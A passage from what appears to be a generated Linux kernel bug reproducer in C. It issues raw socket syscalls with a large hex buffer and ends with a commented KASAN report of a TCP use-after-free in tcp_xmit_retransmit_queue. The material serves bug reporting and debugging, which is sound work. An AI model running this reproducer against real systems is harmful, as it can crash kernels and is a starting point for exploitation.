xd2\x2e\xd2\xe3\x31\x51\x2e\xb0\xb3\x04\x64\x71\xba\x05\x4b\x23\x91\x92\xfd\x4a\x1b\x6c\x35\xa5\x8f\xcb\xb5\xac\xd9\x40\xe5\x4b\x6b\x04\xe2\x2a\xab\xd9\x0d\xcf\x0b\x23\xfa\x1f\xcd\x4a\x46\xb0\x26\xc4\xb8\xae\x17\x82\x6c\x7f\x6f\xe6\x1a\x8c\x0d\x95\xdf\xe2\xc2\xd4\x5c\x85\x6d\x79\x3b\x8a\x6c\x51\xf3\x5f\x06\xdf\x07\x5b\x69\x8a\xde\x75\x59\x6d\x70\x99\x55\x09\x8f\xf8\xc0\x6f\x2e\xc3\x0f\x87\x1c\x79\xe8\x4b\xb0\x55\x51\xb2\xa3\x91\x9b\xb0\x89\x17\xad\x9b\x89\x81\x23\x12\xcb\x45\x8a\xd7\x2a\x0a\x19\x84\x7d\xb9\x64\xa6\x31\xa3\x48\x30\x3c\x01\x6b\x7c\x74\x20\xe6\x0b\xff\x2a\x0a\x66\x82\x00\x31\x01\xbc\xf8\x47\x02\xcc\x43\xbe\x6d\x0c\x0e\x4f\x59\x37\x4d\xcb\xc2\x37\xee\x5e\x1c\x2c\xf3\xda\xc8\xf8\xc9\x8c\xbc\xff\xd9\x8b\x8a\xee\x4e\xab\x19\x8f\xb6\xb4\xe7\x0a\xda\x9c\x5c\x00\xc3\x26\x87\x63\xb0\xa9\x1b\x31\x62\xef\x04\x10\x68\x6c\x3c\xd1\xba\x73\xc1\xaa\xf2\xe4\xbd\x29\xdb\x2c\xe3\x69\xf0\x34\x8d\xd3\x6b\x6e\x59\x42\x6f\x28\x3d\x2f\x83\x27\x48\xc0\xb7\x82\xd3\x95\x96\x0c\xdf\x22\xc7\xce\x77\xab\x09\x4c\xad\xab\x0d\x70\xee\x4d\xea\xb3\x63\x62\x04\x6f\xd7\x68\x2e\x86\x7c\xac\xd4\xc2\x6e\x09\xdf\xf0\xbe\x8c\x71\xd9\xa8\x82\xf8\xd2\x14\x70\xb7\xd0\x40\x12\x5e\xa7\xec\xab\x1a\x13\x87\x0b\x6e\x28\x59\x76\x01\xb2\x3f\x64\x62\x35\xb3\xff\x0d\x8a\x3d\x6b\x5a\xd3\x9e\x59\x14\x6d\x19\x4c\x99\x04\x75\xe4\x04\xe3\xf2\x8a\x19\x77\x06\xdd\x5f\x2e\x25\x2c\xa3\xb5\x52\xa6\xfa\x2b\x84\x35\xdc\x56\x55\x02\x63\x79\x81\x3b\x27\x82\x41\x92\x19\xb3\xe3\x63\xce\xb5\x0c\x1a\x15\x15\x38\x2a\x52\xf0\xdd\x58\x3d\xa4\x7f\x5b\xb9\xa3\x9c\x90\x14\xf9\x2c\x2b\xaa\x1e\x0d\xfd\xf6\x93\x7e\xbc\xc3\x59\x11\x6e\xd9\x52\x1e\xd0\xea\x0b\x55\x0b\x71\xfa\x69\xda\x9d\x35\x10\x70\x32\x68\xe8\xde\x47\x74\x1f\xc6\x60\x86\xbd\x15\x1c\x6b\x52\xeb\xe4\x04\x0f\x8c\x70\x2f\x8d\x6d\x7e\x5f\xfd\xe7\xd1\x87\x80\x76\xd8\x7a\x2c\xbf\xb2\x98\x12\x83\x81\x94\x11\x7d\x1c\x90\xfd\xf0\xdc\xe6\x9d\xee\x76\xde\x50\xcb\x97\x25\xca\x88\xd8\x70\x97\x40\x25\x94\xc5\xfe\x8b\x44\x05\x8d\x6e\x7f\xab\xc3\x27\xd8\x0e\x4a\x30\xb5\xfb\x95\xf8\x34\x75\x01\x1f\xe6\xac\x81\x1b\x13\x63\xb7\x60\xb8\x1c\x3b\xda\x07\x26\x9e\xfd\xeb\x7f\x43\x46\x93\x75\x63\xdc\xa7\xe9\xc1\x8f\xa9\x06\x96\xe7\x10\x87\xb4\x32\x4a\x30\x69\xd2\xf4\x2b\x5d\x76\xa3\x94\x6b\x72\xd9\xc6\xfa\x6a\x49\x12\xc7\xc2\x74\x3f\xc4\x39\x9f\xa0\x7e\xcd\x81\x9c\x54\x0f\x14\xce\xd3\x7e\xd8\xe8\xd2\xc2\x24\x2e\xc5\x1b\x58\xf8\x8e\xe6\xaa\x16\x69\x6c\x4b\x40\x86\x1a\x1a\xad\x11\x6f\x90\x48\x68\x93\xb1\x8f\xbd\xaf\x8d\x00\x09\x5e\xf4\xe3\x03\x59\xff\x8f\xf5\xf0\xe2\xa1\x79\x93\xf5\x76\xcb\x56\x93\xb8\xe6\x22\xe5\x69\x90\x3d\x0f\x9b\x57\x86\x19\xf7\x63\xd5\x2c\xfe\xad\x63\x60\x9e\x9e\x29\x04\xe9\x4d\xb6\xd9\xb1\xdb\x42\x2d\x8b\x8d\x6d\xdd\xae\x0b\xca\x58\x38\xf4\x30\xad\xae\xa3\x3d\x64\x47\xe0\x77\xc3\xed\xc8\xe0\x7d\x3c\x6c\xda\xbd\x47\x5e\x37\xb4\xe4\xb8\x1c\x69\x16\xb6\xd5\x8b\x9a\x15\xfa\x6b\x21\x88\x74\xbb\xdf\xe3\xbe\x31\x02\x8e\x82\x81\x10\x98\x24\x74\x04\xad\xe3\xc5\x63\x57\x0d\x58\xbe\x1c\x97\xa1\x0d\xb6\x55\x83\x18\x41\x37\xa7\x1b\x51\x37\x13\x99\xeb\x6f\xe3\x70\xc2\x4a\x8c\x17\xc6\x30\x8d\x01\xfe\xd4\x71\x4c\xee\x82\x94\xe4\x1d\x9a\x8a\xed\x48\x61\xba\x6c\x63\x5f\x3b\x13\x9f\x5b\xe4\x0b\x2c\x44\x1c\xb7\xf6\xc7\x64\xf6\x74\x4a\x16\x7a\x35\xf7\x2e\x9d\x4f\x00\x38\xa7\xad\xe7\x17\x0c\xb7\x3f\x02\x41\xe9\xa3\x37\x5b\x98\xd5\x0f\xc6\xe6\xd1\x38\x4e\x87\x4f\x2f\x02\xa1\x27\x4d\xb2\x03\xfc\x50\x48\xaa\x33\x92\xe1\x10\xa6\x0b\xb0\x20\x7c\x57\xd4\x85\x55\x51\x6e\x7e\xdf\xa2\x46\xf5\x94\x93\x03\x02\xdb\x94\x55\x23\xd9\x5b\x99\x2b\x3a\x7e\x7d\xb1\x80\x47\xf9\x77\xee\x0f\x5e\x63\x7f\x1e\x96\xdf\xf9\x1c\x81\x55\xdd\x02\x81\x87\xc8\x04\x52\x59\x49\xd4\x08\xd5\x73\x43\x3f\xd2\xf9\xa9\xf0\xd7\xb9\x97\x86\x9c\x0a\xc6\x7d\x5a\x98\x88\x2b\x0b\x38\xa1\xcb\xf8\x71\xc7\x5d\xfe\xba\xd0\x26\x4b\xdf\xb8\x11\x8f\x71\x60\x68\xc7\x82\xd0\x36\x97\x23\x56\xda\x52\x58\x90\x0a\x42\x0b\xfc\xf8\xc9\x1f\x36\x7f\x9f\xe5\x5b\xf8\x6e\xe1\x78\x47\xfe\x6b\x00\xcd\xe5\x6b\xe2\xa6\xaf\x2b\x33\x95\x73\x79\x52\x13\x1c\x87\x3d\x8d\xbc\x32\x1e\x11\x25\x91\x51\xa0\xaf\xcc\xf1\xc3\x5a\xea\x8b\x15\x82\x76\xa9\x0f\xe7\x08\x73\x53\x02\x4c\x8c\xb2\x8d\x4b\xa0\xed\x37\x20\x7f\x54\xa2\x2a\x33\x6b\x5f\x3a\x4f\x54\x61\x85\x91\x86\x68\x5a\xd4\x80\xc9\x21\xa9\x16\x5d\x77\xee\x28\xeb\xc2\x5c\x22\xe4\x27\xdb\x5b\xe4\xa7\x70\xdc\x6a\x8e\xd9\xe7\x77\x09\x5b\x94\x97\xc6\xf4\x1f\x7a\x35\x9e\x26\x1e\x8b\x37\xe3\xa4\xdc\x0a\x8a\x19\x59\x3a\x77\x81\x2d\x9b\x0e\x51\x2b\xd7\xc5\xbc\x07\xfa\xf3\x29\x79\x35\x98\xe3\xb8\xf7\xe5\x40\xdf\xa8\x93\x00\xf6\x53\x8c\xcc\x33\xdf\x0e\x35\x3e\x72\x8d\x48\x85\x05\x40\x43\xe1\x13\xd6\x4a\x95\x50\xf8\x32\xca\xc3\x1c\x28\xd4\x41\x15\x64\xc1\x08\xfb\x2c\xc2\x1f\x79\x30\x58\xaa\x7c\x0d\x83\x8e\x87\xf4\x2e\xa3\xfc\xeb\xd0\xdb\xcc\x15\xcd\x88\x99\x41\x75\x13\xc1\x0c\x53\x96\xfe\xff\xeb\x87\x6a\x04\x75\xf2\x98\x40\x7e\xc7\x4e\x47\x63\x31\x2f\xb2\xa2\x88\x30\xca\x49\xfb\x57\x40\x65\x8c\xc9\x80\x20\xb9\xc9\xfc\x79\x12\x8d\xe6\x24\x24\x5f\x38\x47\x3c\x93\x64\x41\x9a\xf2\xe8\xab\xc1\xaf\x13\x95\x5c\x26\x4e\x02\x99\x5f\x6a\xe3\xd4\x91\x0a\xf5\x06\x3a\x2d\xc9\x22\x96\x6b\xa0\x77\x00\x77\x7c\x26\xdc\xb6\xc1\x1b\x6c\xc8\xfe\x43\x2c\xe2\xdc\x58\x7e\x30\x38\x98\x97\xdf\xda\xae\x9d\x40\x94\xb7\x16\x91\x66\x94\x6c\x2a\x50\x39\x69\xce\xb4\x5c\xec\x2e\x60\x71\x92\xa3\x14\x1f\x08\x70\xcb\x9c\x47\x5b\xf3\xf4\xea\x7a\x34\x43\x32\x8b\x19\x57\xd2\xe7\x1c\xc5\xeb\xa5\x66\x37\x73\x80\x59\xac\x1e\xc0\x2f\xf1\x30\xf4\xd0\xc7\x78\x2b\x38\xd3\xab\x74\xfd\x4d\xdf\x5e\xc5\xa7\x89\x1b\xb7\x76\xf5\xf9\xfd\xca\xfc\xc2\x0d", 4096); r[53] = syscall(SYS_sendto, r[10], 0x20015285ul, 0x1000ul, 0xc080ul, 0x0ul, 0x0ul); r[54] = syscall(SYS_mmap, 0x20022000ul, 0x1000ul, 0x3ul, 0x32ul, 0xfffffffffffffffful, 0x0ul); *(uint32_t*)0x20022fdd = (uint32_t)0x28; *(uint32_t*)0x20022fe1 = (uint32_t)0x400; *(uint64_t*)0x20022fe5 = (uint64_t)0x0; *(uint64_t*)0x20022fed = (uint64_t)0x8ab; *(uint64_t*)0x20022ff5 = (uint64_t)0xfffffffffffffffb; *(uint16_t*)0x20022ffd = (uint16_t)0x5; r[61] = syscall(SYS_write, r[10], 0x20022fddul, 0x28ul, 0, 0, 0); } else if (pid > 0) { int returnStatus; waitpid(pid, &returnStatus, 0); printf("collected child\n"); } else { printf("fork failed\n"); exit(1); } } return 0; } // KASAN report on v4.8-rc1, equivalent on master /* [ 21.446876] BUG: KASAN: use-after-free in tcp_xmit_retransmit_queue+0xc75/0xdb0 at addr ffff88007a06d428 [ 21.447953] Read of size 4 by task rsyslogd/1612 [ 21.448465] CPU: 0 PID: 1612 Comm: rsyslogd Tainted: G B 4.8.0-rc1 #1 [ 21.449263] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 [ 21.450270] 0000000000000000 0000000015e55fbd ffff88007dc07268 ffffffff81bef151 [ 21.451135] ffff88011cfb0d80 ffff88007a06d400 ffff88007a06d5a8 ffff88007a06d400 [ 21.452002] ffff88007dc07290 ffffffff815d0351 ffff88007dc07328 ffff88007a06d400 [ 21.452873] Call Trace: [ 21.453142] <IRQ> [<ffffffff81bef151>] dump_stack+0x83/0xb2 [ 21.453835] [<ffffffff815d0351>] kasan_object_err+0x21/0x70 [ 21.454450] [<ffffffff815d05f4>] kasan_report_error+0x204/0x500 [ 21.455135] [<ffffffff815d0a31>] __asan_report_load4_noabort+0x61/0x70 [ 21.455899] [<ffffffff82a90f55>] ? tcp_xmit_retransmit_queue+0xc75/0xdb0 [ 21.456624] [<ffffffff82a90f55>] tcp_xmit_retransmit_queue+0xc75/0xdb0 [ 21.457329] [<ffffffff82a53aba>] tcp_xmit_recovery.part.54+0x2a/0x120 [ 21.458028] [<ffffffff82a69c96>] tcp_ack+0x2716/0x4ed0 [ 21.458590] [<ffffffff815cf6e6>] ? save_stack+0x46/0xd0 [ 21.459189] [<ffffffff815cf95d>] ? kasan_kmalloc+0xad/0xe0 [ 21.459804] [<ffffffff82a67580>] ? tcp_fastretrans_alert+0x2dc0/0x2dc0 [ 21.460540] [<ffffffff82a5a63f>] ? tcp_parse_options+0x18f/0xb20 [ 21.461237] [<ffffffff811ea161>] ? ttwu_do_wakeup+0x21/0x2d0 [ 21.461865] [<ffffffff82a6e8b1>] ? tcp_validate_incoming+0x821/0x1210 [ 21.462581] [<ffffffff81c0e93e>] ? put_dec+0x2e/0xc0 [ 21.463167] [<ffffffff82a74201>] tcp_rcv_established+0x5b1/0x20c0 [ 21.463884] [<ffffffff815cfaa5>] ? memcpy+0x45/0x50 [ 21.464414] [<ffffffff828ec80a>] ? __copy_skb_header+0x19a/0x1f0 [ 21.465057] [<ffffffff82a73c50>] ? tcp_data_queue+0x4240/0x4240 [ 21.465719] [<ffffffff828eca97>] ? __skb_clone+0x237/0x7a0 [ 21.466326] [<ffffffff815cbed8>] ? kmem_cache_alloc+0xb8/0x1b0 [ 21.466954] [<ffffffff82baa6b7>] ? rt6_check_expired+0xa7/0x120 [ 21.467591] [<ffffffff82bae7f2>] ? ip6_dst_check+0x262/0x410 [ 21.468231] [<ffffffff82c0ff52>] tcp_v6_do_rcv+0x642/0x13c0 [ 21.468836] [<ffffffff82c148d2>] tcp_v6_rcv+0x1a32/0x2550 [ 21.469462] [<ffffffff81233abb>] ? trigger_load_balance+0x3fb/0x8b0 [ 21.470179] [<ffffffff82beaa55>] ? raw6_local_deliver+0x555/0x6f0 [ 21.470953] [<ffffffff82b82dec>] ip6_input_finish+0x2ac/0xd50 [ 21.471600] [<ffffffff82b8396a>] ip6_input+0xda/0x1f0 [ 21.472149] [<ffffffff81117670>] ? kvm_guest_apic_eoi_write+0x70/0x90 [ 21.472870] [<ffffffff82b83890>] ? ip6_input_finish+0xd50/0xd50 [ 21.473521] [<ffffffff8128a722>] ? handle_fasteoi_irq+0x362/0x6a0 [ 21.474210] [<ffffffff810f56c0>] ? ioapic_ir_ack_level+0xd0/0xd0 [ 21.474858] [<ffffffff82b8291e>] ip6_rcv_finish+0x11e/0x340 [ 21.475487] [<ffffffff82b84806>] ipv6_rcv+0xd86/0x1750 [ 21.476043] [<ffffffff82b83a80>] ? ip6_input+0x1f0/0x1f0 [ 21.476615] [<ffffffff82cadeb5>] ? _raw_spin_unlock_irqrestore+0x15/0x20 [ 21.477332] [<ffffffff815d03d7>] ? kasan_end_report+0x37/0x50 [ 21.478956] [<ffffffff815d0825>] ? kasan_report_error+0x435/0x500 [ 21.479618] [<ffffffff82b83a80>] ? ip6_input+0x1f0/0x1f0 [ 21.480250] [<ffffffff8293926f>] __netif_receive_skb_core+0x15df/0x26c0 [ 21.481017] [<ffffffff812092c0>] ? update_curr+0x150/0x4e0 [ 21.481700] [<ffffffff82937c90>] ? netdev_info+0x120/0x120 [ 21.482339] [<ffffffff812bf12b>] ? hrtimer_active+0x1db/0x280 [ 21.482969] [<ffffffff81206b3d>] ? cpu_load_update+0x1bd/0x350 [ 21.483619] [<ffffffff81227f2c>] ? task_tick_fair+0x119c/0x2420 [ 21.484295] [<ffffffff810fddf1>] ? __x2apic_send_IPI_dest.constprop.4+0x31/0x40 [ 21.485101] [<ffffffff810fe072>] ? x2apic_send_IPI+0x72/0xa0 [ 21.485739] [<ffffffff8293a37f>] __netif_receive_skb+0x2f/0x170 [ 21.486383] [<ffffffff8293e1a7>] process_backlog+0x197/0x580 [ 21.487021] [<ffffffff8293bc9a>] net_rx_action+0x6ca/0xbb0 [ 21.487615] [<ffffffff8293b5d0>] ? sk_busy_loop+0x7b0/0x7b0 [ 21.488258] [<ffffffff8111850e>] ? kvm_clock_get_cycles+0x1e/0x20 [ 21.488909] [<ffffffff812d3e90>] ? ktime_get+0xb0/0x110 [ 21.489471] [<ffffffff810fdc1b>] ? native_apic_msr_write+0x2b/0x30 [ 21.490147] [<ffffffff812e3ca6>] ? clockevents_program_event+0x246/0x340 [ 21.490868] [<ffffffff82cb121e>] __do_softirq+0x1ce/0x57d [ 21.491470] [<ffffffff811769d7>] irq_exit+0x117/0x140 [ 21.492035] [<ffffffff82cb0dd0>] smp_apic_timer_interrupt+0x80/0xa0 [ 21.492712] [<ffffffff82caf062>] apic_timer_interrupt+0x82/0x90 [ 21.493378] <EOI> Object at ffff88007a06d400, in cache skbuff_fclone_cache size: 424 [ 21.494277] Allocated: [ 21.494538] PID = 1711 [ 21.494801] [<ffffffff810b308b>] save_stack_trace+0x2b/0x50 [ 21.495416] [<ffffffff815cf6e6>] save_stack+0x46/0xd0 [ 21.495970] [<ffffffff815cf95d>] kasan_kmalloc+0xad/0xe0 [ 21.496572] [<ffffffff815cfe92>] kasan_slab_alloc+0x12/0x20 [ 21.497185] [<ffffffff815cc51e>] kmem_cache_alloc_node+0xfe/0x1d0 [ 21.497853] [<ffffffff828f21f2>] __alloc_skb+0xd2/0x5d0 [ 21.498475] [<ffffffff82a480fd>] sk_stream_alloc_skb+0xbd/0x790 [ 21.499129] [<ffffffff82a4b464>] tcp_sendmsg+0x13f4/0x2d10 [ 21.499754] [<ffffffff82afb2ac>] inet_sendmsg+0x24c/0x350 [ 21.500371] [<ffffffff828d58ef>] sock_sendmsg+0xcf/0x110 [ 21.500988] [<ffffffff828d5b52>] sock_write_iter+0x222/0x3c0 [ 21.501625] [<ffffffff8162d10b>] __vfs_write+0x3cb/0x640 [ 21.502249] [<ffffffff8162e315>] vfs_write+0x175/0x4a0 [ 21.502838] [<ffffffff81631b78>] SyS_write+0xd8/0x1b0 [ 21.503429] [<ffffffff82cae476>] entry_SYSCALL_64_fastpath+0x1e/0xa8 [ 21.504144] Freed: [ 21.504368] PID = 1711 [ 21.504628] [<ffffffff810b308b>] save_stack_trace+0x2b/0x50 [ 21.505290] [<ffffffff815cf6e6>] save_stack+0x46/0xd0 [ 21.505879] [<ffffffff815cff13>] kasan_slab_free+0x73/0xc0 [ 21.506501] [<ffffffff815cb70c>] kmem_cache_free+0x7c/0x210 [ 21.507128] [<ffffffff828eba3b>] kfree_skbmem+0x7b/0xf0 [ 21.507752] [<ffffffff828f3e22>] __kfree_skb+0x22/0x30 [ 21.508339] [<ffffffff82a4b8ad>] tcp_sendmsg+0x183d/0x2d10 [ 21.508962] [<ffffffff82afb2ac>] inet_sendmsg+0x24c/0x350 [ 21.509574] [<ffffffff828d58ef>] sock_sendmsg+0xcf/0x110 [ 21.510194] [<ffffffff828d5b52>] sock_write_iter+0x222/0x3c0 [ 21.510818] [<ffffffff8162d10b>] __vfs_write+0x3cb/0x640 [ 21.511408] [<ffffffff8162e315>] vfs_write+0x175/0x4a0 [ 21.512003] [<ffffffff81631b78>] SyS_write+0xd8/0x1b0 [ 21.512562] [<ffffffff82cae476>] entry_SYSCALL_64_fastpath+0x1e/0xa8 [ 21.513258] Memory state around the buggy address: [ 21.513770] ffff88007a06d300: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [ 21.514546] ffff88007a06d380: 00 00 00 00 00 fc fc fc fc fc fc fc fc fc fc fc [ 21.515310] >ffff88007a06d400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 21.516114] ^ [ 21.516611] ffff88007a06d480: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 21.517400] ffff88007a06d500: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb [ 21.518203] ================================================================== */